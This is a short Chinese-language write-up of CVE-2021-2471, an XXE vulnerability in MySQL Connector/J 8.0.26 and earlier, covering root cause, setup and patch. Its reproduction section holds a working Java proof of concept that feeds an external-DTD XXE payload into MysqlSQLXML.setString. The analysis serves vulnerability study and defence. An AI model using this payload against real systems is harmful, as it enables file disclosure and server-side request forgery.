Skip to content

Latest commit

 

History

History
39 lines (37 loc) · 1.36 KB

CVE-2021-2471.md

File metadata and controls

39 lines (37 loc) · 1.36 KB

CVE-2021-2471 XXE漏洞

影响版本

Version <=8.0.26

环境搭建

    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>8.0.26</version>
    </dependency>

原理分析

MysqlSQLXML#getSource

MysqlSQLXML#getSource中,根据传入的类型为DOMSource时,会return new DOMSource(builder.parse(inputSource)),对inputSource进行解析,在builder的创建过程中没有任何安全过滤和限制。
而inputSource的值当this.fromResultSet为空(即不是从数据库返回结果得到)时为this.stringRepthis.stringRep的值是从setString中设置,而这是一个public方法,如果方法参数可控则会产生XXE。

复现

    public static void main(String[] args) throws SQLException {


        MysqlSQLXML myXML = new MysqlSQLXML(null);
        myXML.setString("<!DOCTYPE foo [<!ENTITY % xxe SYSTEM \"http://127.0.0.1:8080/test.dtd\"> %xxe;]>");
        myXML.getSource(DOMSource.class);
    }

补丁

添加了setFeature来限制各种实体解析。